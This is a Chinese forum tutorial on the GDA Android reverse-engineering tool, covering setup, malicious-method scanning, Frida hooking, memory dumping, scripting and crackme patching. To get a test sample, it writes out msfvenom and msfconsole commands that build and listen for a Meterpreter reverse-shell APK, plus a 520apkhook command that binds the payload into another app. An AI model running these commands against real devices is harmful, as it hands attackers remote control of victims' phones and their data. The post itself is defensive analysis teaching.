- UID
 - 238621
 
 注册时间2017-12-1
阅读权限90
最后登录1970-1-1
版主 
    
 
 
 
TA的每日心情  | 开心 2019-3-15 11:00 | 
|---|
 
  签到天数: 262 天 [LV.8]以坛为家I  
 | 
 
 本帖最后由 梦幻的彼岸 于 2023-8-16 07:35 编辑  
 
前言 
此篇文章以案例角度简单的介绍GDA各功能点如何使用 
备注:各功能点深入介绍请前往官网查看分析向导部分 
更新日期:2023年7月31日 
环境配置 
配置界面 
 
 
 
配置向导 
选择某项配置后,将鼠标指针移动到左侧空白处会弹出配置提示信息 
 
 
 
 
python: 
注意:当前GDA(4.08)需要32位python,示例 
 Python 2.7.18 https://www.python.org/ftp/python/2.7.18/python-2.7.18.msi 
 
 
java : 
 
java8:jdk-8u371-windows-i586 
https://www.oracle.com/cn/java/t ... oads/#java8-windows 
生成key 
keytool -genkey -v -keystore app.keystore -alias gundam_wing -keyalg RSA -validity 20000 
转换key的格式 
keytool -importkeystore -srckeystore app.keystore -destkeystore tmp.p12 -srcstoretype JKS -deststoretype PKCS12 
将PKCS12格式的key dump为可直接阅读的文本 
openssl pkcs12 -in tmp.p12 -nodes -out tmp.rsa.pem 
gedit tmp.rsa.pem 
提取文本内的内容,根据其内容的标志信息创建两个文件,示例: 
my_private.rsa.pem 
 
 
 
 
my.x509.pem 
 
 
 
 
转换,生成pk8格式的私钥 
openssl pkcs8 -topk8 -outform DER -in my_private.rsa.pem -inform PEM -out my_private.pk8 -nocrypt 
 
 
 
 
Demo APK信息 
来自Android studio 示例代码:Hello Android 
 
 
 
 
运行效果 
 
 
 
 
申请的权限 
 
 
 
 
恶意信息扫描 
 
 
 
 
发现存在一些可被恶意使用的方法,例如: 
 
Read contacts, SMS or other information 
 
Collect IMEI, phone number, system version, etc 
 
示例:查看与定位 
 
 
 
 
通过GDA显示的代码,辅助分析到源代码相关位置 
 
(名称 附近代码,位置等参考数据) 
 
 
 
 
恶意APK 
在kali 系统内,输入如下命令可生成一个具有反射shell功能的APK 
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.70.133 lport=55555 R > shell.apk 
 
 
 
攻击机监听 
 
- msfconsole //启动msfconsole
 
 - use exploit/multi/handler //加载模块
 
 - set payload android/meterpreter/reverse_tcp //选择Payload
 
 - set lhost 192.168.70.133 //这里的地址设置成我们刚才生成木马的IP地址
 
 - set lport 55555
 
 - exploit //开始执行漏洞 开始监听,等待apk运行
 
  复制代码 
监听中 
 
 
 
 
安装并运行APK后 
 
 
 
 
 
 
获取目标机设备信息 
 
 
 
分析思路 
基础信息查询 
BaseInfo 
可在BaseInfo模块看到一些目标APK的基础信息 
 
 
 
 
证书信息 
可通过点击功能按键查询证书信息或,在识图菜单找到相关查询选项 
 
 
 
 
AndroidManifest.xml文件 
可筛选内容显示,例如:services,看到此apk可以服务状态运行(Service 是一种可在后台执行长时间运行操作而不提供界面的应用组件。服务可由其他应用组件启动,而且即使用户切换到其他应用,服务仍将在后台继续运行。) 
 
 
 
 
取证信息 
将APK解包并可选择编码格式查询相关信息 
 
 
 
 
运行状态检测 
可使用adb shell "ps |grep 包名" 
 
根据之前查询的APK包名示例查询如下:输入adb shell "ps |grep com.metasploit.stage"命令查询当前测试设备APK是否正在运行, 
 
如下所示测试APK正在运行 
 
 
 
 
恶意行为扫描 
 
 
 
HTTP Connection  
在恶意方法行可双击进入相关代码页面 
例如:这里点击了 
 
 
 
分析代码,与网络协议相关部分(serverSocket),通过startWith方法判断字符串变量数据是否符合规则,若符合此规则:若字符串以tcp开头,那么将以":"分割该字符串 
 
 
 
 
并将分割后的结果的序号2部分传递给一个变量将其作为端口号数值使用,并在进行分割取值传递给一个变量将其作为IP使用,若条件符合,将创建ServerSocket对象在指定ip、端口进行侦听,关键参数来自Payload.a  
 
键入快捷键搜索:Ctrl F: 
 
 
 
 
看到赋值语句,点击查看 
 
 
 
 
查看到了反连的IP与端口信息 
 
 
 
 
[AppleScript] 纯文本查看 复制代码  Payload.a = new byte[8196]{0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,':',0x09,0x00,'<','*',0x88,0x08,'.',0x12,0xdc,0xf8,'=',0xda,'>',0xc9,'Y',0xbd,'+','7','>',0xfd,0xc5,0xf9,0xd5,0xf6,'L','?',0x93,0xec,0xb5,'g',0x05,0xb6,0xb3,0xf2,'t','c','p',':','/','/','1','9','2','.','1','6','8','.','7','0','.','1','3','3',':','5','5','5','5','5',.....0x00,0x00,0x00,0x00,0x00,0x00,0x00}; 
补充技巧: 
 
全局搜索参数说明 
 
类型--- 
 
 
 
 
refstr:搜索字符串(有被引用的字符串) 
 
reffield:搜索类变量(有被引用的变量) 
 
method:搜索方法 
 
class:搜索类名 
 
field:全局搜索类变量 
 
package:包搜索 
 
 
 
 
bin:二进制搜索 
 
Content--- 
 
模糊:Payload 
 
 
 
 
精确:"Payload" 
 
 
 
 
正则:~".*Payload.*" 
 
 
 
 
窗口始终显示选项 
 
 
 
 
Frida动态调试 
HTTP Connection 相关 
 
运行Android设备(我这里是在存在GDA机器上运行的Android模拟器) 
 
右键点击如下功能 
 
 
 
 
可在弹窗的窗口看到当前机器的Frida版本信息 
 
 
 
 
提示信息:Android设备未运行frida-server  
 
使用GDACMD 输入如下命令查询Android设备内核版本信息: 
 
adb shell getprop ro.product.cpu.abi 
 
 
 
 
根据frida与Android设备的内容信息下载相关的frida-server 
 
 
 
 
解压后的文件 
 
输入如下命令将此文件拷贝到Android设备的 /data/local/tmp/目录下并重命名为frida-server 
adb push frida-server-16.0.19-android-x86_64 /data/local/tmp/frida-server 
 
 
 
可输入如下命令启动frida-server 
备注:su 为切换到root权限 
 
 
- adb shell
 
 - su
 
 - cd /data/local/tmp
 
 - chmod 755 frida-server
 
 - ./frida-server
 
 -  
 
 - nohup ./frida-server &  后台运行,关闭终端服务也不关闭
 
  复制代码 
 
 
 
 
 
 
自定义JS脚本 
左侧右键执行或快捷键F5 
 
 
 
 
脚本编写 
 
查看引入信息 
 
 
 
String java 类 
startsWith 方法 
 
 
- setImmediate(function() {
 
 - Java.perform(function(){
 
 -     var Stringg = Java.use("java.lang.String");
 
 -     console.log("Waiting for APP permission")
 
 -     console.log("Waiting for APP permission")
 
 -     Stringg.startsWith.overload('java.lang.String').implementation=function(test){
 
 -         console.log("----------Record TCP or HTTPS information:----------")
 
 -         console.log(this)
 
 -         var reval = this.startsWith(test)
 
 -         return reval
 
 -     }
 
 - })
 
 - })
 
  复制代码 
 
 
 
可在右侧窗口,右键选择退出选项以结束脚本执行 
 
 
简单的动态分析到此结束 
捆绑加固类APK分析 
使用520apkhook工具进行捆绑与加固 
备注:需要需改源代码因utils 命名冲突 
 
 
main.py 
 
 
python main.py --lhost 192.168.70.133 --lport 55555 -n ./test.apk 
 
 
 
Malscan 对比 
原始:test.apk 
 
 
 
 
 
 
捆绑:AllFinish.apk 
 
 
 
 
 
 
 
 
对比:恶意扫描发现增加了文件操作方法并且apk包内多了很多文件 
 
内存导出 
应用场景APK被加固的时候可Dump内存数据进行分析 
 
adb 工具设置 
避免执行报错推荐如下设置:环境变量的adb使用gdatmp目录的,若测试设备是模拟器(需删除模拟器自带的adb,使用gdatmp目录下的adb替换) 
 
备注:gdatmp目录可在GDA不打开apk的时候在识图界面点击工作目录快速导航到,若已打开apk在导航的目录需返回上一级目录查看 
 
测试: 
 
 
如下图所示:右侧区域有数据输出内容 
 
 
Dump错误情况 
若不可用情况下可将内存Dump工具手动上传到Android设备(正常是自动上传) 
内存Dump工具保存GDA工作目录的gdatmp文件夹内 
 
 
根据Android设备内核选择对应的版本上传到该设备,并赋予相应权限示例: 
删除Android设备/data/local/tmp/目录的Gdump文件 
adb push %APPDATA%\GDA\gdatmp\Gdumpx86_64 /data/local/tmp/Gdump 
adb shell chmod 777 /data/local/tmp/Gdump 
测试 
 
 
转储成功提示窗口 
 
 
点击OK会在资源管理器中打开转储文件保存的路径 
 
 
运行脚本 
python脚本 
测试脚本 
1.py 
 
- def GDA_MAIN(gda_obj):
 
 -     per='The apk permission:\n'
 
 -     per+=gda_obj.GetPermission()
 
 -     gda_obj.log(per)
 
 -     tofile = open('out.txt','w')
 
 -     tofile.write(per)
 
 -     tofile.close()
 
 -     return 0
 
 
  复制代码 
运行后界面变化与输出out.txt与1.pyc文件 
 
 
javan脚本 
1.java 
 
- package example;
 
 - import com.gda.api.GDAInterface;
 
 - import com.gda.api.GdaDex;
 
 - import com.gda.api.MethodInfo;
 
 - import com.gda.api.DexHeader;
 
 - //gjden
 
 - //example of dumping all the callors of a method
 
 - class Example4Callor {
 
 -         public int GDA_MAIN(GDAInterface gda)
 
 -         {
 
 -                 String callorStr="";
 
 -                 GdaDex Dex0=gda.DexList.get(0);
 
 -                 for (MethodInfo method:Dex0.MethodList){
 
 -                         if(method!=null&&method.callorIdxList.length>5){
 
 -                                 callorStr=String.format("the [%d] callors of the method: %s\n\n",method.callorIdxList.length,method.methodFullName);
 
 -                                 for (int calloridx:method.callorIdxList){
 
 -                                         String index=""+calloridx;
 
 -                                         if (Dex0.MethodTable.containsKey(index)){
 
 -                                                 MethodInfo obj=Dex0.MethodTable.get(index);
 
 -                         callorStr+=obj.methodFullName;
 
 -                                                 callorStr+=obj.MethodSignature;
 
 -                                                 callorStr+="\n";
 
 -                                         }
 
 -                                 }
 
 -                                 break;
 
 -                         }
 
 -                 }
 
 -                 gda.log(callorStr);
 
 -                 return 0;
 
 -         }
 
 - }
 
 
  复制代码 
若直接加载.java会弹出如下窗口 
 
 
加载编译好的class文件 
 
 
相关脚本可在GitHub项目查看https://github.com/charles2gan/GDA-android-reversing-Tool 
 
应用案例 
修改文件 
测试文件:https://github.com/num1r0/android_crackmes 
载入测试文件后点击Entry进入入口区域 
 
 
鼠标左键双击MainActivity$1,进入MainActivity区域 
 
 
鼠标左键双击getFlag 
 
 
1.查看相关信息:鼠标左键双击getData 
 
 
s3cr37_p4ssw0rd_1337 
 
 
 
 
2.修改判断:F5或右键在弹出的功能窗口点击SmaliJava 
 
 
smali代码 
 
 
 
 
 
按R键保存修改 
可点击OK将修改后的APK安装到测试设备 
 
 
安装成功的提示信息 
 
 
运行测试 
 
 
 
 
 
 
 
将if-eqz修改为if-nez 
右键可看到相关功能菜单 
 
 
按M键修改当前选择的指令 
 
 
修改完毕按Enter键确认修改 
 
 
按R键保存修改,进行测试 
 
 
此篇文章到此结束 
 
 
 |   
 
评分
- 
查看全部评分
 
 
 
 
 
 |